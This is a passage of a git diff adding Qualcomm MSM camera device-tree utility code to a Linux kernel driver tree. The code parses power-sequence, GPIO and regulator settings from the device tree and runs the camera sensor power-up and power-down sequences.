ps[i].seq_type); + } else if (!strcmp(seq_name, "sensor_i2c_mux")) { + ps[i].seq_type = SENSOR_I2C_MUX; + CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, + i, ps[i].seq_type); + } else { + CDBG("%s: unrecognized seq-type\n", __func__); + rc = -EILSEQ; + goto ERROR1; + } + } + + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, + "qcom,cam-power-seq-val", i, + &seq_name); + CDBG("%s seq_name[%d] = %s\n", __func__, i, + seq_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR1; + } + switch (ps[i].seq_type) { + case SENSOR_VREG: + for (j = 0; j < num_vreg; j++) { + if (!strcmp(seq_name, cam_vreg[j].reg_name)) + break; + } + if (j < num_vreg) + ps[i].seq_val = j; + else + rc = -EILSEQ; + break; + case SENSOR_GPIO: + if (!strcmp(seq_name, "sensor_gpio_reset")) + ps[i].seq_val = SENSOR_GPIO_RESET; + else if (!strcmp(seq_name, "sensor_gpio_standby")) + ps[i].seq_val = SENSOR_GPIO_STANDBY; + else if (!strcmp(seq_name, "sensor_gpio_vdig")) + ps[i].seq_val = SENSOR_GPIO_VDIG; + else + rc = -EILSEQ; + break; + case SENSOR_CLK: + if (!strcmp(seq_name, "sensor_cam_mclk")) + ps[i].seq_val = SENSOR_CAM_MCLK; + else if (!strcmp(seq_name, "sensor_cam_clk")) + ps[i].seq_val = SENSOR_CAM_CLK; + else + rc = -EILSEQ; + break; + case SENSOR_I2C_MUX: + if (!strcmp(seq_name, "none")) + ps[i].seq_val = 0; + else + rc = -EILSEQ; + break; + default: + rc = -EILSEQ; + break; + } + if (rc < 0) { + CDBG("%s: unrecognized seq-val\n", __func__); + goto ERROR1; + } + } + + array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + + + rc = of_property_read_u32_array(of_node, "qcom,cam-power-seq-cfg-val", + array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + if (ps[i].seq_type == SENSOR_GPIO) { + if (array[i] == 0) + ps[i].config_val = GPIO_OUT_LOW; + else if (array[i] == 1) + ps[i].config_val = GPIO_OUT_HIGH; + } else { + ps[i].config_val = array[i]; + } + CDBG("%s power_setting[%d].config_val = %ld\n", __func__, i, + ps[i].config_val); + } + + rc = of_property_read_u32_array(of_node, "qcom,cam-power-seq-delay", + array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + ps[i].delay = array[i]; + CDBG("%s power_setting[%d].delay = %d\n", __func__, + i, ps[i].delay); + } + kfree(array); + + size = *power_setting_size; + + if (NULL != ps && 0 != size) + need_reverse = 1; + + power_info->power_down_setting = + kzalloc(sizeof(*ps) * size, GFP_KERNEL); + + if (!power_info->power_down_setting) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + + memcpy(power_info->power_down_setting, + ps, sizeof(*ps) * size); + + power_info->power_down_setting_size = size; + + if (need_reverse) { + int c, end = size - 1; + struct msm_sensor_power_setting power_down_setting_t; + for (c = 0; c < size/2; c++) { + power_down_setting_t = + power_info->power_down_setting[c]; + power_info->power_down_setting[c] = + power_info->power_down_setting[end]; + power_info->power_down_setting[end] = + power_down_setting_t; + end--; + } + } + return rc; +ERROR2: + kfree(array); +ERROR1: + kfree(ps); + power_setting_size = 0; + return rc; +} + +int msm_camera_get_dt_gpio_req_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size) +{ + int rc = 0, i = 0; + uint32_t count = 0; + uint32_t *val_array = NULL; + + if (!of_get_property(of_node, "qcom,gpio-req-tbl-num", &count)) + return 0; + + count /= sizeof(uint32_t); + if (!count) { + pr_err("%s qcom,gpio-req-tbl-num 0\n", __func__); + return 0; + } + + val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!val_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + + gconf->cam_gpio_req_tbl = kzalloc(sizeof(struct gpio) * count, + GFP_KERNEL); + if (!gconf->cam_gpio_req_tbl) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + gconf->cam_gpio_req_tbl_size = count; + + rc = of_property_read_u32_array(of_node, "qcom,gpio-req-tbl-num", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + if (val_array[i] >= gpio_array_size) { + pr_err("%s gpio req tbl index %d invalid\n", + __func__, val_array[i]); + return -EINVAL; + } + gconf->cam_gpio_req_tbl[i].gpio = gpio_array[val_array[i]]; + CDBG("%s cam_gpio_req_tbl[%d].gpio = %d\n", __func__, i, + gconf->cam_gpio_req_tbl[i].gpio); + } + + rc = of_property_read_u32_array(of_node, "qcom,gpio-req-tbl-flags", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + gconf->cam_gpio_req_tbl[i].flags = val_array[i]; + CDBG("%s cam_gpio_req_tbl[%d].flags = %ld\n", __func__, i, + gconf->cam_gpio_req_tbl[i].flags); + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, + "qcom,gpio-req-tbl-label", i, + &gconf->cam_gpio_req_tbl[i].label); + CDBG("%s cam_gpio_req_tbl[%d].label = %s\n", __func__, i, + gconf->cam_gpio_req_tbl[i].label); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + } + + kfree(val_array); + return rc; + +ERROR2: + kfree(gconf->cam_gpio_req_tbl); +ERROR1: + kfree(val_array); + gconf->cam_gpio_req_tbl_size = 0; + return rc; +} + +int msm_camera_get_dt_gpio_set_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size) +{ + int rc = 0, i = 0; + uint32_t count = 0; + uint32_t *val_array = NULL; + + if (!of_get_property(of_node, "qcom,gpio-set-tbl-num", &count)) + return 0; + + count /= sizeof(uint32_t); + if (!count) { + pr_err("%s qcom,gpio-set-tbl-num 0\n", __func__); + return 0; + } + + val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!val_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + + gconf->cam_gpio_set_tbl = kzalloc(sizeof(struct msm_gpio_set_tbl) * + count, GFP_KERNEL); + if (!gconf->cam_gpio_set_tbl) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + gconf->cam_gpio_set_tbl_size = count; + + rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-num", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + if (val_array[i] >= gpio_array_size) { + pr_err("%s gpio set tbl index %d invalid\n", + __func__, val_array[i]); + return -EINVAL; + } + gconf->cam_gpio_set_tbl[i].gpio = gpio_array[val_array[i]]; + CDBG("%s cam_gpio_set_tbl[%d].gpio = %d\n", __func__, i, + gconf->cam_gpio_set_tbl[i].gpio); + } + + rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-flags", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + gconf->cam_gpio_set_tbl[i].flags = val_array[i]; + CDBG("%s cam_gpio_set_tbl[%d].flags = %ld\n", __func__, i, + gconf->cam_gpio_set_tbl[i].flags); + } + + rc = of_property_read_u32_array(of_node, "qcom,gpio-set-tbl-delay", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + gconf->cam_gpio_set_tbl[i].delay = val_array[i]; + CDBG("%s cam_gpio_set_tbl[%d].delay = %d\n", __func__, i, + gconf->cam_gpio_set_tbl[i].delay); + } + + kfree(val_array); + return rc; + +ERROR2: + kfree(gconf->cam_gpio_set_tbl); +ERROR1: + kfree(val_array); + gconf->cam_gpio_set_tbl_size = 0; + return rc; +} + +int msm_camera_init_gpio_pin_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size) +{ + int rc = 0, val = 0; + + gconf->gpio_num_info = kzalloc(sizeof(struct msm_camera_gpio_num_info), + GFP_KERNEL); + if (!gconf->gpio_num_info) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + return rc; + } + + rc = of_property_read_u32(of_node, "qcom,gpio-vana", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-vana failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-vdig invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VANA] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_VANA] = 1; + CDBG("%s qcom,gpio-vana %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VANA]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-vdig", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-vdig failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-vdig invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VDIG] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_VDIG] = 1; + CDBG("%s qcom,gpio-vdig %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_VDIG]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-reset", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-reset failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-reset invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_RESET] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_RESET] = 1; + CDBG("%s qcom,gpio-reset %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_RESET]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-standby", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-standby failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-standby invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_STANDBY] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_STANDBY] = 1; + CDBG("%s qcom,gpio-standby %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_STANDBY]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-af-pwdm", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-af-pwdm failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-af-pwdm invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_AF_PWDM] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_AF_PWDM] = 1; + CDBG("%s qcom,gpio-af-pwdm %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_AF_PWDM]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-flash-en", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-flash-en failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-flash-en invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_EN] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_FL_EN] = 1; + CDBG("%s qcom,gpio-flash-en %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_EN]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-flash-now", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%d read qcom,gpio-flash-now failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-flash-now invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_NOW] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_FL_NOW] = 1; + CDBG("%s qcom,gpio-flash-now %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_NOW]); + } else + rc = 0; + + rc = of_property_read_u32(of_node, "qcom,gpio-flash-reset", &val); + if (rc != -EINVAL) { + if (rc < 0) { + pr_err("%s:%dread qcom,gpio-flash-reset failed rc %d\n", + __func__, __LINE__, rc); + goto ERROR; + } else if (val >= gpio_array_size) { + pr_err("%s:%d qcom,gpio-flash-reset invalid %d\n", + __func__, __LINE__, val); + rc = -EINVAL; + goto ERROR; + } + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_RESET] = + gpio_array[val]; + gconf->gpio_num_info->valid[SENSOR_GPIO_FL_RESET] = 1; + CDBG("%s qcom,gpio-flash-reset %d\n", __func__, + gconf->gpio_num_info->gpio_num[SENSOR_GPIO_FL_RESET]); + } else + rc = 0; + return rc; + +ERROR: + kfree(gconf->gpio_num_info); + gconf->gpio_num_info = NULL; + return rc; +} + +int msm_camera_get_dt_vreg_data(struct device_node *of_node, + struct camera_vreg_t **cam_vreg, int *num_vreg) +{ + int rc = 0, i = 0; + uint32_t count = 0; + uint32_t *vreg_array = NULL; + struct camera_vreg_t *vreg = NULL; + + count = of_property_count_strings(of_node, "qcom,cam-vreg-name"); + CDBG("%s qcom,cam-vreg-name count %d\n", __func__, count); + + if (!count) + return 0; + + vreg = kzalloc(sizeof(*vreg) * count, GFP_KERNEL); + if (!vreg) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + *cam_vreg = vreg; + *num_vreg = count; + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, + "qcom,cam-vreg-name", i, + &vreg[i].reg_name); + CDBG("%s reg_name[%d] = %s\n", __func__, i, + vreg[i].reg_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR1; + } + } + + vreg_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!vreg_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + + rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-type", + vreg_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + vreg[i].type = vreg_array[i]; + CDBG("%s cam_vreg[%d].type = %d\n", __func__, i, + vreg[i].type); + } + + rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-min-voltage", + vreg_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + vreg[i].min_voltage = vreg_array[i]; + CDBG("%s cam_vreg[%d].min_voltage = %d\n", __func__, + i, vreg[i].min_voltage); + } + + rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-max-voltage", + vreg_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + vreg[i].max_voltage = vreg_array[i]; + CDBG("%s cam_vreg[%d].max_voltage = %d\n", __func__, + i, vreg[i].max_voltage); + } + + rc = of_property_read_u32_array(of_node, "qcom,cam-vreg-op-mode", + vreg_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < count; i++) { + vreg[i].op_mode = vreg_array[i]; + CDBG("%s cam_vreg[%d].op_mode = %d\n", __func__, i, + vreg[i].op_mode); + } + + kfree(vreg_array); + return rc; +ERROR2: + kfree(vreg_array); +ERROR1: + kfree(vreg); + *num_vreg = 0; + return rc; +} + +static int msm_camera_enable_i2c_mux(struct msm_camera_i2c_conf *i2c_conf) +{ + struct v4l2_subdev *i2c_mux_sd = + dev_get_drvdata(&i2c_conf->mux_dev->dev); + v4l2_subdev_call(i2c_mux_sd, core, ioctl, + VIDIOC_MSM_I2C_MUX_INIT, NULL); + v4l2_subdev_call(i2c_mux_sd, core, ioctl, + VIDIOC_MSM_I2C_MUX_CFG, (void *)&i2c_conf->i2c_mux_mode); + return 0; +} + +static int msm_camera_disable_i2c_mux(struct msm_camera_i2c_conf *i2c_conf) +{ + struct v4l2_subdev *i2c_mux_sd = + dev_get_drvdata(&i2c_conf->mux_dev->dev); + v4l2_subdev_call(i2c_mux_sd, core, ioctl, + VIDIOC_MSM_I2C_MUX_RELEASE, NULL); + return 0; +} + +static int msm_camera_pinctrl_init(struct msm_camera_power_ctrl_t *ctrl) +{ + struct msm_pinctrl_info *sensor_pctrl = NULL; + + sensor_pctrl = &ctrl->pinctrl_info; + sensor_pctrl->pinctrl = devm_pinctrl_get(ctrl->dev); + if (IS_ERR_OR_NULL(sensor_pctrl->pinctrl)) { + pr_err("%s:%d Getting pinctrl handle failed\n", + __func__, __LINE__); + return -EINVAL; + } + sensor_pctrl->gpio_state_active = + pinctrl_lookup_state(sensor_pctrl->pinctrl, + CAM_SENSOR_PINCTRL_STATE_DEFAULT); + if (IS_ERR_OR_NULL(sensor_pctrl->gpio_state_active)) { + pr_err("%s:%d Failed to get the active state pinctrl handle\n", + __func__, __LINE__); + return -EINVAL; + } + sensor_pctrl->gpio_state_suspend + = pinctrl_lookup_state(sensor_pctrl->pinctrl, + CAM_SENSOR_PINCTRL_STATE_SLEEP); + if (IS_ERR_OR_NULL(sensor_pctrl->gpio_state_suspend)) { + pr_err("%s:%d Failed to get the suspend state pinctrl handle\n", + __func__, __LINE__); + return -EINVAL; + } + return 0; +} + +int msm_camera_power_up(struct msm_camera_power_ctrl_t *ctrl, + enum msm_camera_device_type_t device_type, + struct msm_camera_i2c_client *sensor_i2c_client) +{ + int rc = 0, index = 0, no_gpio = 0, ret = 0; + struct msm_sensor_power_setting *power_setting = NULL; + + CDBG("%s:%d\n", __func__, __LINE__); + if (!ctrl || !sensor_i2c_client) { + pr_err("failed ctrl %p sensor_i2c_client %p\n", ctrl, + sensor_i2c_client); + return -EINVAL; + } + if (ctrl->gpio_conf->cam_gpiomux_conf_tbl != NULL) { + pr_err("%s:%d mux install\n", __func__, __LINE__); + msm_gpiomux_install( + (struct msm_gpiomux_config *) + ctrl->gpio_conf->cam_gpiomux_conf_tbl, + ctrl->gpio_conf->cam_gpiomux_conf_tbl_size); + } + ret = msm_camera_pinctrl_init(ctrl); + if (ret < 0) { + pr_err("%s:%d Initialization of pinctrl failed\n", + __func__, __LINE__); + ctrl->cam_pinctrl_status = 0; + } else { + ctrl->cam_pinctrl_status = 1; + } + + rc = msm_camera_request_gpio_table( + ctrl->gpio_conf->cam_gpio_req_tbl, + ctrl->gpio_conf->cam_gpio_req_tbl_size, 1); + if (rc < 0) + no_gpio = rc; + if (ctrl->cam_pinctrl_status) { + ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, + ctrl->pinctrl_info.gpio_state_active); + if (ret) + pr_err("%s:%d cannot set pin to active state", + __func__, __LINE__); + } + for (index = 0; index < ctrl->power_setting_size; index++) { + CDBG("%s index %d\n", __func__, index); + power_setting = &ctrl->power_setting[index]; + CDBG("%s type %d\n", __func__, power_setting->seq_type); + switch (power_setting->seq_type) { + case SENSOR_CLK: + if (power_setting->seq_val >= ctrl->clk_info_size) { + pr_err("%s clk index %d >= max %d\n", __func__, + power_setting->seq_val, + ctrl->clk_info_size); + goto power_up_failed; + } + if (power_setting->config_val) + ctrl->clk_info[power_setting->seq_val]. + clk_rate = power_setting->config_val; + + rc = msm_cam_clk_enable(ctrl->dev, + &ctrl->clk_info[0], + (struct clk **)&power_setting->data[0], + ctrl->clk_info_size, + 1); + if (rc < 0) { + pr_err("%s: clk enable failed\n", + __func__); + goto power_up_failed; + } + break; + case SENSOR_GPIO: + if (no_gpio) { + pr_err("%s: request gpio failed\n", __func__); + return no_gpio; + } + if (power_setting->seq_val >= SENSOR_GPIO_MAX || + !ctrl->gpio_conf->gpio_num_info) { + pr_err("%s gpio index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + goto power_up_failed; + } + if (!ctrl->gpio_conf->gpio_num_info->valid + [power_setting->seq_val]) + continue; + CDBG("%s:%d gpio set val %d\n", __func__, __LINE__, + ctrl->gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val]); + gpio_set_value_cansleep( + ctrl->gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val], + power_setting->config_val); + break; + case SENSOR_VREG: + if (power_setting->seq_val >= CAM_VREG_MAX) { + pr_err("%s vreg index %d >= max %d\n", __func__, + power_setting->seq_val, + SENSOR_GPIO_MAX); + goto power_up_failed; + } + msm_camera_config_single_vreg(ctrl->dev, + &ctrl->cam_vreg[power_setting->seq_val], + (struct regulator **)&power_setting->data[0], + 1); + break; + case SENSOR_I2C_MUX: + if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) + msm_camera_enable_i2c_mux(ctrl->i2c_conf); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + power_setting->seq_type); + break; + } + if (power_setting->delay > 20) { + msleep(power_setting->delay); + } else if (power_setting->delay) { + usleep_range(power_setting->delay * 1000, + (power_setting->delay * 1000) + 1000); + } + } + + if (device_type == MSM_CAMERA_PLATFORM_DEVICE) { + rc = sensor_i2c_client->i2c_func_tbl->i2c_util( + sensor_i2c_client, MSM_CCI_INIT); + if (rc < 0) { + pr_err("%s cci_init failed\n", __func__); + goto power_up_failed; + } + } + + CDBG("%s exit\n", __func__); + return 0; +power_up_failed: + pr_err("%s:%d failed\n", __func__, __LINE__); + for (index--; index >= 0; index--) { + CDBG("%s index %d\n", __func__, index); + power_setting = &ctrl->power_setting[index]; + CDBG("%s type %d\n", __func__, power_setting->seq_type); + switch (power_setting->seq_type) { + + case SENSOR_CLK: + msm_cam_clk_enable(ctrl->dev, + &ctrl->clk_info[0], + (struct clk **)&power_setting->data[0], + ctrl->clk_info_size, + 0); + break; + case SENSOR_GPIO: + if (!ctrl->gpio_conf->gpio_num_info->valid + [power_setting->seq_val]) + continue; + gpio_set_value_cansleep( + ctrl->gpio_conf->gpio_num_info->gpio_num + [power_setting->seq_val], GPIOF_OUT_INIT_LOW); + break; + case SENSOR_VREG: + msm_camera_config_single_vreg(ctrl->dev, + &ctrl->cam_vreg[power_setting->seq_val], + (struct regulator **)&power_setting->data[0], + 0); + break; + case SENSOR_I2C_MUX: + if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) + msm_camera_disable_i2c_mux(ctrl->i2c_conf); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + power_setting->seq_type); + break; + } + if (power_setting->delay > 20) { + msleep(power_setting->delay); + } else if (power_setting->delay) { + usleep_range(power_setting->delay * 1000, + (power_setting->delay * 1000) + 1000); + } + } + if (ctrl->cam_pinctrl_status) { + ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, + ctrl->pinctrl_info.gpio_state_suspend); + if (ret) + pr_err("%s:%d cannot set pin to suspend state\n", + __func__, __LINE__); + devm_pinctrl_put(ctrl->pinctrl_info.pinctrl); + } + ctrl->cam_pinctrl_status = 0; + msm_camera_request_gpio_table( + ctrl->gpio_conf->cam_gpio_req_tbl, + ctrl->gpio_conf->cam_gpio_req_tbl_size, 0); + return rc; +} + +static struct msm_sensor_power_setting* +msm_camera_get_power_settings(struct msm_camera_power_ctrl_t *ctrl, + enum msm_sensor_power_seq_type_t seq_type, + uint16_t seq_val) +{ + struct msm_sensor_power_setting *power_setting, *ps = NULL; + int idx; + + for (idx = 0; idx < ctrl->power_setting_size; idx++) { + power_setting = &ctrl->power_setting[idx]; + if (power_setting->seq_type == seq_type && + power_setting->seq_val == seq_val) { + ps = power_setting; + return ps; + } + + } + return ps; +} + +int msm_camera_power_down(struct msm_camera_power_ctrl_t *ctrl, + enum msm_camera_device_type_t device_type, + struct msm_camera_i2c_client *sensor_i2c_client) +{ + int index = 0, ret = 0; + struct msm_sensor_power_setting *pd = NULL; + struct msm_sensor_power_setting *ps; + + CDBG("%s:%d\n", __func__, __LINE__); + if (!ctrl || !sensor_i2c_client) { + pr_err("failed ctrl %p sensor_i2c_client %p\n", ctrl, + sensor_i2c_client); + return -EINVAL; + } + if (device_type == MSM_CAMERA_PLATFORM_DEVICE) + sensor_i2c_client->i2c_func_tbl->i2c_util( + sensor_i2c_client, MSM_CCI_RELEASE); + + for (index = 0; index < ctrl->power_down_setting_size; index++) { + CDBG("%s index %d\n", __func__, index); + pd = &ctrl->power_down_setting[index]; + ps = NULL; + CDBG("%s type %d\n", __func__, pd->seq_type); + switch (pd->seq_type) { + case SENSOR_CLK: + + ps = msm_camera_get_power_settings(ctrl, + pd->seq_type, + pd->seq_val); + if (ps) + msm_cam_clk_enable(ctrl->dev, + &ctrl->clk_info[0], + (struct clk **)&ps->data[0], + ctrl->clk_info_size, + 0); + else + pr_err("%s error in power up/down seq data\n", + __func__); + break; + case SENSOR_GPIO: + if (pd->seq_val >= SENSOR_GPIO_MAX || + !ctrl->gpio_conf->gpio_num_info) { + pr_err("%s gpio index %d >= max %d\n", __func__, + pd->seq_val, + SENSOR_GPIO_MAX); + continue; + } + if (!ctrl->gpio_conf->gpio_num_info->valid + [pd->seq_val]) + continue; + gpio_set_value_cansleep( + ctrl->gpio_conf->gpio_num_info->gpio_num + [pd->seq_val], + pd->config_val); + break; + case SENSOR_VREG: + if (pd->seq_val >= CAM_VREG_MAX) { + pr_err("%s vreg index %d >= max %d\n", __func__, + pd->seq_val, + SENSOR_GPIO_MAX); + continue; + } + + ps = msm_camera_get_power_settings(ctrl, + pd->seq_type, + pd->seq_val); + + if (ps) + msm_camera_config_single_vreg(ctrl->dev, + &ctrl->cam_vreg[pd->seq_val], + (struct regulator **)&ps->data[0], + 0); + else + pr_err("%s error in power up/down seq data\n", + __func__); + break; + case SENSOR_I2C_MUX: + if (ctrl->i2c_conf && ctrl->i2c_conf->use_i2c_mux) + msm_camera_disable_i2c_mux(ctrl->i2c_conf); + break; + default: + pr_err("%s error power seq type %d\n", __func__, + pd->seq_type); + break; + } + if (pd->delay > 20) { + msleep(pd->delay); + } else if (pd->delay) { + usleep_range(pd->delay * 1000, + (pd->delay * 1000) + 1000); + } + } + if (ctrl->cam_pinctrl_status) { + ret = pinctrl_select_state(ctrl->pinctrl_info.pinctrl, + ctrl->pinctrl_info.gpio_state_suspend); + if (ret) + pr_err("%s:%d cannot set pin to suspend state", + __func__, __LINE__); + devm_pinctrl_put(ctrl->pinctrl_info.pinctrl); + } + ctrl->cam_pinctrl_status = 0; + msm_camera_request_gpio_table( + ctrl->gpio_conf->cam_gpio_req_tbl, + ctrl->gpio_conf->cam_gpio_req_tbl_size, 0); + CDBG("%s exit\n", __func__); + return 0; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h new file mode 100644 index 0000000000000..d86e77e667068 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.h @@ -0,0 +1,61 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CAMERA_DT_UTIL_H__ +#define MSM_CAMERA_DT_UTIL_H__ + +#include +#include +#include +#include "msm_camera_i2c.h" + +int msm_sensor_get_sub_module_index(struct device_node *of_node, + struct msm_sensor_info_t **s_info); + +int msm_sensor_get_dt_actuator_data(struct device_node *of_node, + struct msm_actuator_info **act_info); + +int msm_sensor_get_dt_csi_data(struct device_node *of_node, + struct msm_camera_csi_lane_params **csi_lane_params); + +int msm_camera_get_dt_power_setting_data(struct device_node *of_node, + struct camera_vreg_t *cam_vreg, int num_vreg, + struct msm_camera_power_ctrl_t *power_info); + +int msm_camera_get_dt_gpio_req_tbl(struct device_node *of_node, + struct msm_camera_gpio_conf *gconf, uint16_t *gpio_array, + uint16_t gpio_array_size); + +int 